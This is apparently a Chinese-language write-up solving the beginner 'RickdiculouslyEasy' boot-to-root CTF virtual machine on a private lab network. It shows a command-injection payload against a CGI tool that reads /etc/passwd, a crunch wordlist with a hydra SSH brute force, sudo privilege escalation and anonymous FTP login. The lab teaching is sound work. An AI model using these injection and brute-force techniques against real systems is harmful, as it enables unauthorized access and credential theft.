0x01 项目地址
0x02 靶机描述
This is a fedora server vm, created with virtualbox.
这是使用 virtualbox 创建的 fedora 服务器 vm。
It is a very simple Rick and Morty themed boot to root.
这是一个非常简单的 Rick and Morty 主题启动到 root 模式。
There are 130 points worth of flags available (each flag has its points recorded with it), you should also get root.
有价值 130 分的标志可用(每个标志都有其记录的分数),您还应该获得 root 权限。
It's designed to be a beginner ctf, if you're new to pen testing, check it out!
它被设计为初学者 ctf,如果您是渗透测试新手,请查看它!
0x03 环境搭建
靶机 | RickdiculouslyEasy: 1 | NAT模式 192.168.6.160 |
攻击机 | kali | NAT模式 192.168.6.128 |
0x04 详细步骤
1.flag1
主机发现
arp-scan -l
端口扫描
nmap -p- -A -sV -Pn 192.168.6.160
开放了21、22、80、9090、13337、22222、60000七个端口
直接扫出flag1
# flag1
FLAG:{TheyFoundMyBackDoorMorty}
目录扫描
dirsearch -u http://192.168.6.160
扫出robots.txt
和passwords
目录
2.flag2
Web访问
浏览器访问192.168.6.160
,没有发现什么有用的线索
拼接robots.txt
,访问
http://192.168.6.160/robots.txt
依次访问这三个目录,发现/cgi-bin/tracertool.cgi
页面可以执行命令
http://192.168.6.160/cgi-bin/tracertool.cgi
根据提示需要输入一个ip,我们用管道符来连接尝试查看/etc/password
发现不行,改用分号替换管道符,读取成功,看到三个有bin/bash
权限的用户RickSanchez
Morty
Summer
127.0.0.1 ; more /etc/passwd
拼接passwords
,访问
http://192.168.6.160/passwords
发现FLAG.txt
文件,点击访问
发现flag2
# flag2
FLAG{Yeah d- just don't do it.}
查看另一个文件passwords.html
大致意思是说密码被隐藏了,F12
查看源码看看
发现密码
Password: winter
3.flag3
SSH连接
知道密码我们尝试一下ssh
连接,之前端口扫描时扫出22
端口和22222
端口开放了ssh
服务
ssh Summer@192.168.6.160 -p 22
发现22
端口无法连接,然后连接22222
端口,一番尝试下来发现Summer
用户可以连接
ssh Summer@192.168.6.160 -p 22222
Password: winter
在Summer
的家目录下,发现了FLAG.txt
文件,查看文件发现flag3
ls
more FLAG.txt
# flag3
FLAG{Get off the high road Summer!}
4.flag4
再翻一翻各级目录,尝试找到有用的东西,发现在Morty
用户的家目录下有一个压缩包和一张图片
cd /home
ls
cd Morty/
ls
这里用python
开启一个http
服务,然后在浏览器访问来下载这两个文件看看
python -m SimpleHTTPServer
浏览器访问8000
端口,将两个文件下载
http://192.168.6.160:8000/
尝试解压压缩包,提示需要输入密码
那就只能从图片入手了
用010 Editor
这个软件打开图片,发现了重要线索,这里直接提示了压缩包的密码
压缩包密码:Meeseek
我们输入密码解压压缩包,解压出来一个journal.txt
文件,查看文件发现flag4
# flag4
FLAG: {131333}
5.flag5
根据拿到flag4
的文件提示,flag4
是一个密码,不知道是哪里的密码,我们接着翻目录,还有RickSanchez
用户的家目录没有查看,查看一下
cd RickSanchez/
ls
cd RICKS_SAFE/
ls
cd ../ThisDoesntContainAnyFlags/
ls
在这里发现一个貌似是可执行文件safe
和一个NotAFlag.txt
,查看txt
文件中没有发现什么有用的线索
再来看这个safe
文件,尝试运行它,发现没有权限
我们尝试换个用户试试,将safe
文件复制到Summer
用户的家目录,然后执行
cp safe /home/Summer
cd ../../Summer
./safe
这里貌似没有执行成功,把flag4
中得到的密码加上试试
./safe 131333
执行成功,拿到flag5
# flag5
FLAG{And Awwwaaaaayyyy we Go!}
6.flag6
权限提升
根据拿到flag5
的提示,需要找一个band
乐队的名字,同时得到Rick
的密码提示信息:Rick
可能是wheel
组成员,具有sudo
权限;Rick
的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。
首先寻找乐队名称,首先百度了Ricks
用户的名称,没有发现什么有用的线索。
再搜索RickSanchez
,在一篇介绍中发现了线索
https://rickandmorty.fandom.com/wiki/Rick_Sanchez
这里得到乐队名字The Flesh Curtains
接下来生成密码字典
密码第1位:A-Z中的一个大写字母;
密码第2位:0-9中的一个数字;
密码第3位:The/Flesh/Curtains,这3个单词之一
我们使用kali
中的crunch
工具生成字典
crunch 5 5 -t ,%The > rick.txt #生成包含单词The的密码,写入rick.txt字典
crunch 7 7 -t ,%Flesh >> rick.txt #生成包含Flesh的密码,追加写入rick.txt字典
crunch 10 10 -t ,%Curtains >> rick.txt #生成包含Curtains的密码,追加写入rick.txt字典
# crunch命令使用:
crunch 密码最小长度 密码最大长度 -t自定义密码输出格式 ,代表大写字母 %代表数字
将生成的rick.txt字典使用九头蛇爆破,时间有点久耐心等待
hydra -l RickSanchez -P rick.txt -t 4 ssh://192.168.6.160:22222
爆破成功,得到账号密码
login: RickSanchez
password: P7Curtains
ssh
连接
ssh RickSanchez@192.168.6.160 -p 22222
password:P7Curtains
sudo
提权
sudo -l
sudo su
whoami
在/root
下找到FLAG.txt
文件,拿到flag6
# flag6
FLAG: {Ionic Defibrillator}
7.flag7
目录扫描出来的线索已经用完了,我们回过头来再看开放的端口,21
端口开放了ftp
服务,这里尝试用匿名用户anonymous
登录一下,anonymous
用户登录密码为空,直接按回车就好
ftp 192.168.6.160
Name:anonymous
Password:这里按回车
ls
查看当前目录下的文件,发现FLAG.txt
,我们用get
命令下载到kali
中查看
ls
get FLAG.txt
拿到flag7
ls
cat FLAG.txt
# flag7
FLAG{Whoa this is unexpected}
8.flag8
然后再来看开放的端口,这里9090
端口开放了http
服务,我们直接浏览器访问
192.168.6.160:9090
拿到flag8
# flag8
FLAG {There is no Zeus, in your face!}
9.flag9
还剩一个60000
端口没有查看,这个端口是不知道开放了什么服务的,这里用telnet
测试一下
telnet 192.168.6.160 60000
结果直接拿到shell
了,然后在当前目录下发现了FLAG.txt
文件,成功拿到flag9
# flag9
FLAG{Flip the pickle Morty!}
算了算分数刚好130分,至此,9个flag
全部拿到!